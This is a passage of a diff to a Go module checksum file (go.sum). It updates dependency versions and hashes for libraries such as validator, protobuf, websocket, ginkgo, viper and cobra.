v0.21.0 h1:Rs+Y7hSXT83Jacb7kFyjn4ijOuVGSvOdF2+tg1TRrwQ= +github.com/go-openapi/jsonreference v0.21.0/go.mod h1:LmZmgsrTkVg9LG4EaHeY8cBDslNPMo06cago5JNLkm4= +github.com/go-openapi/swag v0.23.0 h1:vsEVJDUo2hPJ2tu0/Xc+4noaxyEffXNIs3cOULZ+GrE= +github.com/go-openapi/swag v0.23.0/go.mod h1:esZ8ITTYEsH1V2trKHjAN8Ai7xHb8RV+YSZ577vPjgQ= github.com/go-playground/assert/v2 v2.2.0 h1:JvknZsQTYeFEAhQwI4qEt9cyV5ONwRHC+lYKSsYSR8s= github.com/go-playground/assert/v2 v2.2.0/go.mod h1:VDjEfimB/XKnb+ZQfWdccd7VUvScMdVu0Titje2rxJ4= github.com/go-playground/locales v0.14.1 h1:EWaQ/wswjilfKLTECiXz7Rh+3BjFhfDFKv/oXslEjJA= github.com/go-playground/locales v0.14.1/go.mod h1:hxrqLVvrK65+Rwrd5Fc6F2O76J/NuW9t0sjnWqG1slY= github.com/go-playground/universal-translator v0.18.1 h1:Bcnm0ZwsGyWbCzImXv+pAJnYK9S473LQFuzCbDbfSFY= github.com/go-playground/universal-translator v0.18.1/go.mod h1:xekY+UJKNuX9WP91TpwSH2VMlDf28Uj24BCp08ZFTUY= -github.com/go-playground/validator/v10 v10.19.0 h1:ol+5Fu+cSq9JD7SoSqe04GMI92cbn0+wvQ3bZ8b/AU4= -github.com/go-playground/validator/v10 v10.19.0/go.mod h1:dbuPbCMFw/DrkbEynArYaCwl3amGuJotoKCe95atGMM= -github.com/go-task/slim-sprig v0.0.0-20230315185526-52ccab3ef572 h1:tfuBGBXKqDEevZMzYi5KSi8KkcZtzBcTgAUUtapy0OI= -github.com/go-task/slim-sprig v0.0.0-20230315185526-52ccab3ef572/go.mod h1:9Pwr4B2jHnOSGXyyzV8ROjYa2ojvAY6HCGYYfMoC3Ls= +github.com/go-playground/validator/v10 v10.22.1 h1:40JcKH+bBNGFczGuoBYgX4I6m/i27HYW8P9FDk5PbgA= +github.com/go-playground/validator/v10 v10.22.1/go.mod h1:dbuPbCMFw/DrkbEynArYaCwl3amGuJotoKCe95atGMM= +github.com/go-task/slim-sprig/v3 v3.0.0 h1:sUs3vkvUymDpBKi3qH1YSqBQk9+9D/8M2mN1vB6EwHI= +github.com/go-task/slim-sprig/v3 v3.0.0/go.mod h1:W848ghGpv3Qj3dhTPRyJypKRiqCdHZiAzKg9hl15HA8= github.com/gogo/protobuf v1.3.2 h1:Ov1cvc58UF3b5XjBnZv7+opcTcQFZebYjWzi34vdm4Q= github.com/gogo/protobuf v1.3.2/go.mod h1:P1XiOD3dCwIKUDQYPy72D8LYyHL2YPYrpS2s69NZV8Q= -github.com/golang/glog v0.0.0-20160126235308-23def4e6c14b/go.mod h1:SBH7ygxi8pfUlaOkMMuAQtPIUF8ecWP5IEl/CR7VP2Q= -github.com/golang/mock v1.1.1/go.mod h1:oTYuIxOrZwtPieC+H1uAHpcLFnEyAGVDL/k47Jfbm0A= github.com/golang/mock v1.6.0 h1:ErTB+efbowRARo13NNdxyJji2egdxLGQhRaY+DUumQc= github.com/golang/mock v1.6.0/go.mod h1:p6yTPP+5HYm5mzsMV8JkE6ZKdX+/wYM6Hr+LicevLPs= -github.com/golang/protobuf v1.2.0/go.mod h1:6lQm79b+lXiMfvg/cZm0SGofjICqVBUtrP5yJMmIC1U= -github.com/golang/protobuf v1.3.1/go.mod h1:6lQm79b+lXiMfvg/cZm0SGofjICqVBUtrP5yJMmIC1U= -github.com/golang/protobuf v1.3.2/go.mod h1:6lQm79b+lXiMfvg/cZm0SGofjICqVBUtrP5yJMmIC1U= -github.com/golang/protobuf v1.4.0-rc.1/go.mod h1:ceaxUfeHdC40wWswd/P6IGgMaK3YpKi5j83Wpe3EHw8= -github.com/golang/protobuf v1.4.0-rc.1.0.20200221234624-67d41d38c208/go.mod h1:xKAWHe0F5eneWXFV3EuXVDTCmh+JuBKY0li0aMyXATA= -github.com/golang/protobuf v1.4.0-rc.2/go.mod h1:LlEzMj4AhA7rCAGe4KMBDvJI+AwstrUpVNzEA03Pprs= -github.com/golang/protobuf v1.4.0-rc.4.0.20200313231945-b860323f09d0/go.mod h1:WU3c8KckQ9AFe+yFwt9sWVRKCVIyN9cPHBJSNnbL67w= -github.com/golang/protobuf v1.4.0/go.mod h1:jodUvKwWbYaEsadDk5Fwe5c77LiNKVO9IDvqG2KuDX0= -github.com/golang/protobuf v1.4.1/go.mod h1:U8fpvMrcmy5pZrNK1lt4xCsGvpyWQ/VVv6QDs8UjoX8= -github.com/golang/protobuf v1.5.0/go.mod h1:FsONVRAS9T7sI+LIUmWTfcYkHO4aIWwzhcaSAoJOfIk= -github.com/golang/protobuf v1.5.3 h1:KhyjKVUg7Usr/dYsdSqoFveMYd5ko72D+zANwlG1mmg= -github.com/golang/protobuf v1.5.3/go.mod h1:XVQd3VNwM+JqD3oG2Ue2ip4fOMUkwXdXDdiuN0vRsmY= -github.com/google/btree v1.0.1 h1:gK4Kx5IaGY9CD5sPJ36FHiBJ6ZXl0kilRiiCj+jdYp4= -github.com/google/btree v1.0.1/go.mod h1:xXMiIv4Fb/0kKde4SpL7qlzvu5cMJDRkFDxJfI9uaxA= +github.com/golang/protobuf v1.5.4 h1:i7eJL8qZTpSEXOPTxNKhASYpMn+8e5Q6AdndVa1dWek= +github.com/golang/protobuf v1.5.4/go.mod h1:lnTiLA8Wa4RWRcIUkrtSVa5nRhsEGBg48fD6rSs7xps= +github.com/google/btree v1.1.3 h1:CVpQJjYgC4VbzxeGVHfvZrv1ctoYCAI8vbl07Fcxlyg= +github.com/google/btree v1.1.3/go.mod h1:qOPhT0dTNdNzV6Z/lhRX0YXUafgPLFUh+gZMl761Gm4= github.com/google/gnostic-models v0.6.8 h1:yo/ABAfM5IMRsS1VnXjTBvUb61tFIHozhlYvRgGre9I= github.com/google/gnostic-models v0.6.8/go.mod h1:5n7qKqH0f5wFt+aWF8CW6pZLLNOfYuF5OpfBSENuI8U= -github.com/google/go-cmp v0.2.0/go.mod h1:oXzfMopK8JAjlY9xF4vHSVASa0yLyX7SntLO5aqRK0M= -github.com/google/go-cmp v0.3.0/go.mod h1:8QqcDgzrUqlUb/G2PQTWiueGozuR1884gddMywk6iLU= -github.com/google/go-cmp v0.3.1/go.mod h1:8QqcDgzrUqlUb/G2PQTWiueGozuR1884gddMywk6iLU= -github.com/google/go-cmp v0.4.0/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE= -github.com/google/go-cmp v0.5.0/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE= -github.com/google/go-cmp v0.5.1/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE= -github.com/google/go-cmp v0.5.5/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE= github.com/google/go-cmp v0.5.9/go.mod h1:17dUlkBOakJ0+DkrSSNjCkIjxS6bF9zb3elmeNGIjoY= github.com/google/go-cmp v0.6.0 h1:ofyhxvXcZhMsU5ulbFiLKl/XBFqE1GSq7atu8tAmTRI= github.com/google/go-cmp v0.6.0/go.mod h1:17dUlkBOakJ0+DkrSSNjCkIjxS6bF9zb3elmeNGIjoY= github.com/google/gofuzz v1.0.0/go.mod h1:dBl0BpW6vV/+mYPU4Po3pmUjxk6FQPldtuIdl/M65Eg= github.com/google/gofuzz v1.2.0 h1:xRy4A+RhZaiKjJ1bPfwQ8sedCA+YS2YcCHW6ec7JMi0= github.com/google/gofuzz v1.2.0/go.mod h1:dBl0BpW6vV/+mYPU4Po3pmUjxk6FQPldtuIdl/M65Eg= -github.com/google/pprof v0.0.0-20210720184732-4bb14d4b1be1 h1:K6RDEckDVWvDI9JAJYCmNdQXq6neHJOYx3V6jnqNEec= -github.com/google/pprof v0.0.0-20210720184732-4bb14d4b1be1/go.mod h1:kpwsk12EmLew5upagYY7GY0pfYCcupk39gWOCRROcvE= +github.com/google/pprof v0.0.0-20240727154555-813a5fbdbec8 h1:FKHo8hFI3A+7w0aUQuYXQ+6EN5stWmeY/AZqtM8xk9k= +github.com/google/pprof v0.0.0-20240727154555-813a5fbdbec8/go.mod h1:K1liHPHnj73Fdn/EKuT8nrFqBihUSKXoLYU0BuatOYo= github.com/google/shlex v0.0.0-20191202100458-e7afc7fbc510 h1:El6M4kTTCOh6aBiKaUGG7oYTSPP8MxqL4YI3kZKwcP4= github.com/google/shlex v0.0.0-20191202100458-e7afc7fbc510/go.mod h1:pupxD2MaaD3pAXIBCelhxNneeOaAeabZDe5s4K6zSpQ= -github.com/google/uuid v1.4.0 h1:MtMxsa51/r9yyhkyLsVeVt0B+BGQZzpQiTQ4eHZ8bc4= -github.com/google/uuid v1.4.0/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo= -github.com/gorilla/websocket v1.4.2/go.mod h1:YR8l580nyteQvAITg2hZ9XVh4b55+EU/adAjf1fMHhE= -github.com/gorilla/websocket v1.5.0 h1:PPwGk2jz7EePpoHN/+ClbZu8SPxiqlu12wZP/3sWmnc= -github.com/gorilla/websocket v1.5.0/go.mod h1:YR8l580nyteQvAITg2hZ9XVh4b55+EU/adAjf1fMHhE= -github.com/gregjones/httpcache v0.0.0-20180305231024-9cad4c3443a7 h1:pdN6V1QBWetyv/0+wjACpqVH+eVULgEjkurDLq3goeM= -github.com/gregjones/httpcache v0.0.0-20180305231024-9cad4c3443a7/go.mod h1:FecbI9+v66THATjSRHfNgh1IVFe/9kFxbXtjV0ctIMA= +github.com/google/uuid v1.6.0 h1:NIvaJDMOsjHA8n1jAhLSgzrAzy1Hgr+hNrb57e+94F0= +github.com/google/uuid v1.6.0/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo= +github.com/gorilla/websocket v1.5.3 h1:saDtZ6Pbx/0u+bgYQ3q96pZgCzfhKXGPqt7kZ72aNNg= +github.com/gorilla/websocket v1.5.3/go.mod h1:YR8l580nyteQvAITg2hZ9XVh4b55+EU/adAjf1fMHhE= +github.com/gregjones/httpcache v0.0.0-20190611155906-901d90724c79 h1:+ngKgrYPPJrOjhax5N+uePQ0Fh1Z7PheYoUI/0nzkPA= +github.com/gregjones/httpcache v0.0.0-20190611155906-901d90724c79/go.mod h1:FecbI9+v66THATjSRHfNgh1IVFe/9kFxbXtjV0ctIMA= github.com/hashicorp/hcl v1.0.0 h1:0Anlzjpi4vEasTeNFn2mLJgTSwt0+6sfsiTG8qcWGx4= github.com/hashicorp/hcl v1.0.0/go.mod h1:E5yfLk+7swimpb2L/Alb/PJmXilQ/rhwaUYs4T20WEQ= github.com/iancoleman/strcase v0.3.0 h1:nTXanmYxhfFAMjZL34Ov6gkzEsSJZ5DbhxWjvSASxEI= github.com/iancoleman/strcase v0.3.0/go.mod h1:iwCmte+B7n89clKwxIoIXy/HfoL7AsD47ZCWhYzw7ho= -github.com/imdario/mergo v0.3.6 h1:xTNEAn+kxVO7dTZGu0CegyqKZmoWFI0rF8UxjlB2d28= -github.com/imdario/mergo v0.3.6/go.mod h1:2EnlNZ0deacrJVfApfmtdGgDfMuh/nq6Ok1EcJh5FfA= +github.com/imdario/mergo v0.3.16 h1:wwQJbIsHYGMUyLSPrEq1CT16AhnhNJQ51+4fdHUnCl4= +github.com/imdario/mergo v0.3.16/go.mod h1:WBLT9ZmE3lPoWsEzCh9LPo3TiwVN+ZKEjmz+hD27ysY= github.com/inconshreveable/mousetrap v1.1.0 h1:wN+x4NVGpMsO7ErUn/mUI3vEoE6Jt13X2s0bqwp9tc8= github.com/inconshreveable/mousetrap v1.1.0/go.mod h1:vpF70FUmC8bwa3OWnCshd2FqLfsEA9PFc4w1p2J65bw= github.com/josharian/intern v1.0.0 h1:vlS4z54oSdjm0bgjRigI+G1HpF+tI+9rE5LLzOg8HmY= @@ -122,11 +94,8 @@ github.com/json-iterator/go v1.1.12 h1:PV8peI4a0ysnczrg+LtxykD8LfKY9ML6u2jnxaEnr github.com/json-iterator/go v1.1.12/go.mod h1:e30LSqwooZae/UwlEbR2852Gd8hjQvJoHmT4TnhNGBo= github.com/kisielk/errcheck v1.5.0/go.mod h1:pFxgyoBC7bSaBwPgfKdkLd5X25qrDl4LWUI2bnpBCr8= github.com/kisielk/gotool v1.0.0/go.mod h1:XhKaO+MFFWcvkIS/tQcRk01m1F5IRFswLeQ+oQHNcck= -github.com/kr/pretty v0.2.1/go.mod h1:ipq/a2n7PKx3OHsz4KJII5eveXtPO4qwEXGdVfWzfnI= github.com/kr/pretty v0.3.1 h1:flRD4NNwYAUpkphVc1HcthR4KEIFJ65n8Mw5qdRn3LE= github.com/kr/pretty v0.3.1/go.mod h1:hoEshYVHaxMs3cyo3Yncou5ZscifuDolrwPKZanG3xk= -github.com/kr/pty v1.1.1/go.mod h1:pFQYn66WHrOpPYNljwOMqo10TkYh1fy3cYio2l3bCsQ= -github.com/kr/text v0.1.0/go.mod h1:4Jbv+DJW3UT/LiOwJeYQe1efqtUx/iVham/4vfdArNI= github.com/kr/text v0.2.0 h1:5Nx0Ya0ZqY2ygV366QzturHI13Jq95ApcVaJBhpS+AY= github.com/kr/text v0.2.0/go.mod h1:eLer722TekiGuMkidMxC/pM04lWEeraHUUmBw8l2grE= github.com/leodido/go-urn v1.4.0 h1:WT9HwE9SGECu3lg4d/dIA+jxlljEa1/ffXKmRjqdmIQ= @@ -143,10 +112,10 @@ github.com/mitchellh/go-wordwrap v1.0.1 h1:TLuKupo69TCn6TQSyGxwI1EblZZEsQ0vMlAFQ github.com/mitchellh/go-wordwrap v1.0.1/go.mod h1:R62XHJLzvMFRBbcrT7m7WgmE1eOyTSsCt+hzestvNj0= github.com/mitchellh/mapstructure v1.5.0 h1:jeMsZIYE/09sWLaz43PL7Gy6RuMjD2eJVyuac5Z2hdY= github.com/mitchellh/mapstructure v1.5.0/go.mod h1:bFUtVrKA4DC2yAKiSyO/QUcy7e+RRV2QTWOzhPopBRo= -github.com/moby/spdystream v0.2.0 h1:cjW1zVyyoiM0T7b6UoySUFqzXMoqRckQtXwGPiBhOM8= -github.com/moby/spdystream v0.2.0/go.mod h1:f7i0iNDQJ059oMTcWxx8MA/zKFIuD/lY+0GqbN2Wy8c= -github.com/moby/term v0.0.0-20221205130635-1aeaba878587 h1:HfkjXDfhgVaN5rmueG8cL8KKeFNecRCXFhaJ2qZ5SKA= -github.com/moby/term v0.0.0-20221205130635-1aeaba878587/go.mod h1:8FzsFHVUBGZdbDsJw/ot+X+d5HLUbvklYLJ9uGfcI3Y= +github.com/moby/spdystream v0.5.0 h1:7r0J1Si3QO/kjRitvSLVVFUjxMEb/YLj6S9FF62JBCU= +github.com/moby/spdystream v0.5.0/go.mod h1:xBAYlnt/ay+11ShkdFKNAG7LsyK/tmNBVvVOwrfMgdI= +github.com/moby/term v0.5.0 h1:xt8Q1nalod/v7BqbG21f8mQPqH+xAaC9C3N3wfWbVP0= +github.com/moby/term v0.5.0/go.mod h1:8FzsFHVUBGZdbDsJw/ot+X+d5HLUbvklYLJ9uGfcI3Y= github.com/modern-go/concurrent v0.0.0-20180228061459-e0a39a4cb421/go.mod h1:6dJC0mAP4ikYIbvyc7fijjWJddQyLn8Ig3JB5CqoB9Q= github.com/modern-go/concurrent v0.0.0-20180306012644-bacd9c7ef1dd h1:TRLaZ9cD/w8PVh93nsPXa1VrQ6jlwL5oN8l14QlcNfg= github.com/modern-go/concurrent v0.0.0-20180306012644-bacd9c7ef1dd/go.mod h1:6dJC0mAP4ikYIbvyc7fijjWJddQyLn8Ig3JB5CqoB9Q= @@ -158,12 +127,12 @@ github.com/munnerz/goautoneg v0.0.0-20191010083416-a7dc8b61c822 h1:C3w9PqII01/Oq github.com/munnerz/goautoneg v0.0.0-20191010083416-a7dc8b61c822/go.mod h1:+n7T8mK8HuQTcFwEeznm/DIxMOiR9yIdICNftLE1DvQ= github.com/mxk/go-flowrate v0.0.0-20140419014527-cca7078d478f h1:y5//uYreIhSUg3J1GEMiLbxo1LJaP8RfCpH6pymGZus= github.com/mxk/go-flowrate v0.0.0-20140419014527-cca7078d478f/go.mod h1:ZdcZmHo+o7JKHSa8/e818NopupXU1YMK5fe1lsApnBw= -github.com/onsi/ginkgo/v2 v2.13.0 h1:0jY9lJquiL8fcf3M4LAXN5aMlS/b2BV86HFFPCPMgE4= -github.com/onsi/ginkgo/v2 v2.13.0/go.mod h1:TE309ZR8s5FsKKpuB1YAQYBzCaAfUgatB/xlT/ETL/o= -github.com/onsi/gomega v1.29.0 h1:KIA/t2t5UBzoirT4H9tsML45GEbo3ouUnBHsCfD2tVg= -github.com/onsi/gomega v1.29.0/go.mod h1:9sxs+SwGrKI0+PWe4Fxa9tFQQBG5xSsSbMXOI8PPpoQ= -github.com/pelletier/go-toml/v2 v2.1.0 h1:FnwAJ4oYMvbT/34k9zzHuZNrhlz48GB3/s6at6/MHO4= -github.com/pelletier/go-toml/v2 v2.1.0/go.mod h1:tJU2Z3ZkXwnxa4DPO899bsyIoywizdUvyaeZurnPPDc= +github.com/onsi/ginkgo/v2 v2.19.0 h1:9Cnnf7UHo57Hy3k6/m5k3dRfGTMXGvxhHFvkDTCTpvA= +github.com/onsi/ginkgo/v2 v2.19.0/go.mod h1:rlwLi9PilAFJ8jCg9UE1QP6VBpd6/xj3SRC0d6TU0To= +github.com/onsi/gomega v1.33.1 h1:dsYjIxxSR755MDmKVsaFQTE22ChNBcuuTWgkUDSubOk= +github.com/onsi/gomega v1.33.1/go.mod h1:U4R44UsT+9eLIaYRB2a5qajjtQYn0hauxvRm16AVYg0= +github.com/pelletier/go-toml/v2 v2.2.3 h1:YmeHyLY8mFWbdkNWwpr+qIL2bEqT0o95WSdkNHvL12M= +github.com/pelletier/go-toml/v2 v2.2.3/go.mod h1:MfCQTFTvCcUyyvvwm1+G6H/jORL20Xlb6rzQu9GuUkc= github.com/peterbourgon/diskv v2.0.1+incompatible h1:UBdAOUP5p4RWqPBg048CAvpKN+vxiaj6gdUUzhl4XmI= github.com/peterbourgon/diskv v2.0.1+incompatible/go.mod h1:uqqh8zWWbv1HBMNONnaR/tNboyR3/BZd58JJSHlUSCU= github.com/pkg/errors v0.9.1 h1:FEBLx1zS214owpjy7qsBeixbURkuhQAwrK5UwLGTwt4= @@ -171,152 +140,112 @@ github.com/pkg/errors v0.9.1/go.mod h1:bwawxfHBFNV+L2hUp1rHADufV3IMtnDRdf1r5NINE github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4= github.com/pmezard/go-difflib v1.0.1-0.20181226105442-5d4384ee4fb2 h1:Jamvg5psRIccs7FGNTlIRMkT8wgtp5eCXdBlqhYGL6U= github.com/pmezard/go-difflib v1.0.1-0.20181226105442-5d4384ee4fb2/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4= -github.com/prometheus/client_model v0.0.0-20190812154241-14fe0d1b01d4/go.mod h1:xMI15A0UPsDsEKsMN9yxemIoYk6Tm2C1GtYGdfGttqA= -github.com/prometheus/procfs v0.13.0 h1:GqzLlQyfsPbaEHaQkO7tbDlriv/4o5Hudv6OXHGKX7o= -github.com/prometheus/procfs v0.13.0/go.mod h1:cd4PFCR54QLnGKPaKGA6l+cfuNXtht43ZKY6tow0Y1g= -github.com/rogpeppe/go-internal v1.10.0 h1:TMyTOH3F/DB16zRVcYyreMH6GnZZrwQVAoYjRBZyWFQ= -github.com/rogpeppe/go-internal v1.10.0/go.mod h1:UQnix2H7Ngw/k4C5ijL5+65zddjncjaFoBhdsK/akog= +github.com/prometheus/procfs v0.15.1 h1:YagwOFzUgYfKKHX6Dr+sHT7km/hxC76UB0learggepc= +github.com/prometheus/procfs v0.15.1/go.mod h1:fB45yRUv8NstnjriLhBQLuOUt+WW4BsoGhij/e3PBqk= +github.com/rogpeppe/go-internal v1.12.0 h1:exVL4IDcn6na9z1rAb56Vxr+CgyK3nn3O+epU5NdKM8= +github.com/rogpeppe/go-internal v1.12.0/go.mod h1:E+RYuTGaKKdloAfM02xzb0FW3Paa99yedzYV+kq4uf4= github.com/russross/blackfriday/v2 v2.1.0 h1:JIOH55/0cWyOuilr9/qlrm0BSXldqnqwMsf35Ld67mk= github.com/russross/blackfriday/v2 v2.1.0/go.mod h1:+Rmxgy9KzJVeS9/2gXHxylqXiyQDYRxCVz55jmeOWTM= -github.com/sagikazarmark/locafero v0.4.0 h1:HApY1R9zGo4DBgr7dqsTH/JJxLTTsOt7u6keLGt6kNQ= -github.com/sagikazarmark/locafero v0.4.0/go.mod h1:Pe1W6UlPYUk/+wc/6KFhbORCfqzgYEpgQ3O5fPuL3H4= +github.com/sagikazarmark/locafero v0.6.0 h1:ON7AQg37yzcRPU69mt7gwhFEBwxI6P9T4Qu3N51bwOk= +github.com/sagikazarmark/locafero v0.6.0/go.mod h1:77OmuIc6VTraTXKXIs/uvUxKGUXjE1GbemJYHqdNjX0= github.com/sagikazarmark/slog-shim v0.1.0 h1:diDBnUNK9N/354PgrxMywXnAwEr1QZcOr6gto+ugjYE= github.com/sagikazarmark/slog-shim v0.1.0/go.mod h1:SrcSrq8aKtyuqEI1uvTDTK1arOWRIczQRv+GVI1AkeQ= -github.com/sergi/go-diff v1.1.0 h1:we8PVUC3FE2uYfodKH/nBHMSetSfHDR6scGdBi+erh0= -github.com/sergi/go-diff v1.1.0/go.mod h1:STckp+ISIX8hZLjrqAeVduY0gWCT9IjLuqbuNXdaHfM= +github.com/sergi/go-diff v1.2.0 h1:XU+rvMAioB0UC3q1MFrIQy4Vo5/4VsRDQQXHsEya6xQ= +github.com/sergi/go-diff v1.2.0/go.mod h1:STckp+ISIX8hZLjrqAeVduY0gWCT9IjLuqbuNXdaHfM= github.com/sirupsen/logrus v1.9.3 h1:dueUQJ1C2q9oE3F7wvmSGAaVtTmUizReu6fjN8uqzbQ= github.com/sirupsen/logrus v1.9.3/go.mod h1:naHLuLoDiP4jHNo9R0sCBMtWGeIprob74mVsIT4qYEQ= github.com/sourcegraph/conc v0.3.0 h1:OQTbbt6P72L20UqAkXXuLOj79LfEanQ+YQFNpLA9ySo= github.com/sourcegraph/conc v0.3.0/go.mod h1:Sdozi7LEKbFPqYX2/J+iBAM6HpqSLTASQIKqDmF7Mt0= github.com/spf13/afero v1.11.0 h1:WJQKhtpdm3v2IzqG8VMqrr6Rf3UYpEF239Jy9wNepM8= github.com/spf13/afero v1.11.0/go.mod h1:GH9Y3pIexgf1MTIWtNGyogA5MwRIDXGUr+hbWNoBjkY= -github.com/spf13/cast v1.6.0 h1:GEiTHELF+vaR5dhz3VqZfFSzZjYbgeKDpBxQVS4GYJ0= -github.com/spf13/cast v1.6.0/go.mod h1:ancEpBxwJDODSW/UG4rDrAqiKolqNNh2DX3mk86cAdo= -github.com/spf13/cobra v1.8.0 h1:7aJaZx1B85qltLMc546zn58BxxfZdR/W22ej9CFoEf0= -github.com/spf13/cobra v1.8.0/go.mod h1:WXLWApfZ71AjXPya3WOlMsY9yMs7YeiHhFVlvLyhcho= +github.com/spf13/cast v1.7.0 h1:ntdiHjuueXFgm5nzDRdOS4yfT43P5Fnud6DH50rz/7w= +github.com/spf13/cast v1.7.0/go.mod h1:ancEpBxwJDODSW/UG4rDrAqiKolqNNh2DX3mk86cAdo= +github.com/spf13/cobra v1.8.1 h1:e5/vxKd/rZsfSJMUX1agtjeTDf+qv1/JdBF8gg5k9ZM= +github.com/spf13/cobra v1.8.1/go.mod h1:wHxEcudfqmLYa8iTfL+OuZPbBZkmvliBWKIezN3kD9Y= github.com/spf13/pflag v1.0.5 h1:iy+VFUOCP1a+8yFto/drg2CJ5u0yRoB7fZw3DKv/JXA= github.com/spf13/pflag v1.0.5/go.mod h1:McXfInJRrz4CZXVZOBLb0bTZqETkiAhM9Iw0y3An2Bg= -github.com/spf13/viper v1.18.2 h1:LUXCnvUvSM6FXAsj6nnfc8Q2tp1dIgUfY9Kc8GsSOiQ= -github.com/spf13/viper v1.18.2/go.mod h1:EKmWIqdnk5lOcmR72yw6hS+8OPYcwD0jteitLMVB+yk= +github.com/spf13/viper v1.19.0 h1:RWq5SEjt8o25SROyN3z2OrDB9l7RPd3lwTWU8EcEdcI= +github.com/spf13/viper v1.19.0/go.mod h1:GQUN9bilAbhU/jgc1bKs99f/suXKeUMct8Adx5+Ntkg= github.com/stretchr/objx v0.1.0/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME= -github.com/stretchr/objx v0.4.0/go.mod h1:YvHI0jy2hoMjB+UWwv71VJQ9isScKT/TqJzVSSt89Yw= -github.com/stretchr/objx v0.5.0/go.mod h1:Yh+to48EsGEfYuaHDzXPcE3xhTkx73EhmCGUpEOglKo= github.com/stretchr/objx v0.5.2 h1:xuMeJ0Sdp5ZMRXx/aWO6RZxdr3beISkG5/G/aIRr3pY= github.com/stretchr/objx v0.5.2/go.mod h1:FRsXN1f5AsAjCGJKqEizvkpNtU+EGNCLh3NxZ/8L+MA= github.com/stretchr/testify v1.3.0/go.mod h1:M5WIy9Dh21IEIfnGCwXGc5bZfKNJtfHm1UVUgZn+9EI= +github.com/stretchr/testify v1.6.1/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg= github.com/stretchr/testify v1.7.0/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg= -github.com/stretchr/testify v1.7.1/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg= -github.com/stretchr/testify v1.8.0/go.mod h1:yNjHg4UonilssWZ8iaSj1OCr/vHnekPRkoO+kdMU+MU= -github.com/stretchr/testify v1.8.1/go.mod h1:w2LPCIKwWwSfY2zedu0+kehJoqGctiVI29o6fzry7u4= -github.com/stretchr/testify v1.8.4/go.mod h1:sz/lmYIOXD/1dqDmKjjqLyZ2RngseejIcXlSw2iwfAo= github.com/stretchr/testify v1.9.0 h1:HtqpIVDClZ4nwg75+f6Lvsy/wHu+3BoSGCbBAcpTsTg= github.com/stretchr/testify v1.9.0/go.mod h1:r2ic/lqez/lEtzL7wO/rwa5dbSLXVDPFyf8C91i36aY= github.com/subosito/gotenv v1.6.0 h1:9NlTDc1FTs4qu0DDq7AEtTPNw6SVm7uBMsUCUjABIf8= github.com/subosito/gotenv v1.6.0/go.mod h1:Dk4QP5c2W3ibzajGcXpNraDfq2IrhjMIvMSWPKKo0FU= +github.com/x448/float16 v0.8.4 h1:qLwI1I70+NjRFUR3zs1JPUCgaCXSh3SW62uAKT1mSBM= +github.com/x448/float16 v0.8.4/go.mod h1:14CWIYCyZA/cWjXOioeEpHeN/83MdbZDRQHoFcYsOfg= github.com/xlab/treeprint v1.2.0 h1:HzHnuAF1plUN2zGlAFHbSQP2qJ0ZAD3XF5XD7OesXRQ= github.com/xlab/treeprint v1.2.0/go.mod h1:gj5Gd3gPdKtR1ikdDK6fnFLdmIS0X30kTTuNd/WEJu0= github.com/yuin/goldmark v1.1.27/go.mod h1:3hX8gzYuyVAZsxl0MRgGTJEmQBFcNTphYh9decYSb74= github.com/yuin/goldmark v1.2.1/go.mod h1:3hX8gzYuyVAZsxl0MRgGTJEmQBFcNTphYh9decYSb74= -go.starlark.net v0.0.0-20230525235612-a134d8f9ddca h1:VdD38733bfYv5tUZwEIskMM93VanwNIi5bIKnDrJdEY= -go.starlark.net v0.0.0-20230525235612-a134d8f9ddca/go.mod h1:jxU+3+j+71eXOW14274+SmmuW82qJzl6iZSeqEtTGds= +go.starlark.net v0.0.0-20240725214946-42030a7cedce h1:YyGqCjZtGZJ+mRPaenEiB87afEO2MFRzLiJNZ0Z0bPw= +go.starlark.net v0.0.0-20240725214946-42030a7cedce/go.mod h1:YKMCv9b1WrfWmeqdV5MAuEHWsu5iC+fe6kYl2sQjdI8= +go.uber.org/goleak v1.3.0 h1:2K3zAYmnTNqV73imy9J1T3WC+gmCePx2hEGkimedGto= +go.uber.org/goleak v1.3.0/go.mod h1:CoHD4mav9JJNrW/WLlf7HGZPjdw8EucARQHekz1X6bE= go.uber.org/multierr v1.11.0 h1:blXXJkSxSSfBVBlC76pxqeO+LN3aDfLQo+309xJstO0= go.uber.org/multierr v1.11.0/go.mod h1:20+QtiLqy0Nd6FdQB9TLXag12DsQkrbs3htMFfDN80Y= golang.org/x/crypto v0.0.0-20190308221718-c2843e01d9a2/go.mod h1:djNgcEr1/C05ACkg1iLfiJU5Ep61QUkGW8qpdssI0+w= golang.org/x/crypto v0.0.0-20191011191535-87dc89f01550/go.mod h1:yigFU9vqHzYiE8UmvKecakEJjdnWj3jj499lnFckfCI= golang.org/x/crypto v0.0.0-20200622213623-75b288015ac9/go.mod h1:LzIPMQfyMNhhGPhUkYOs5KpL4U8rLKemX1yGLhDgUto= -golang.org/x/crypto v0.19.0 h1:ENy+Az/9Y1vSrlrvBSyna3PITt4tiZLf7sgCjZBX7Wo= -golang.org/x/crypto v0.19.0/go.mod h1:Iy9bg/ha4yyC70EfRS8jz+B6ybOBKMaSxLj6P6oBDfU= -golang.org/x/exp v0.0.0-20190121172915-509febef88a4/go.mod h1:CJ0aWSM057203Lf6IL+f9T1iT9GByDxfZKAQTCR3kQA= -golang.org/x/exp v0.0.0-20230905200255-921286631fa9 h1:GoHiUyI/Tp2nVkLI2mCxVkOjsbSXD66ic0XW0js0R9g= -golang.org/x/exp v0.0.0-20230905200255-921286631fa9/go.mod h1:S2oDrQGGwySpoQPVqRShND87VCbxmc6bL1Yd2oYrm6k= 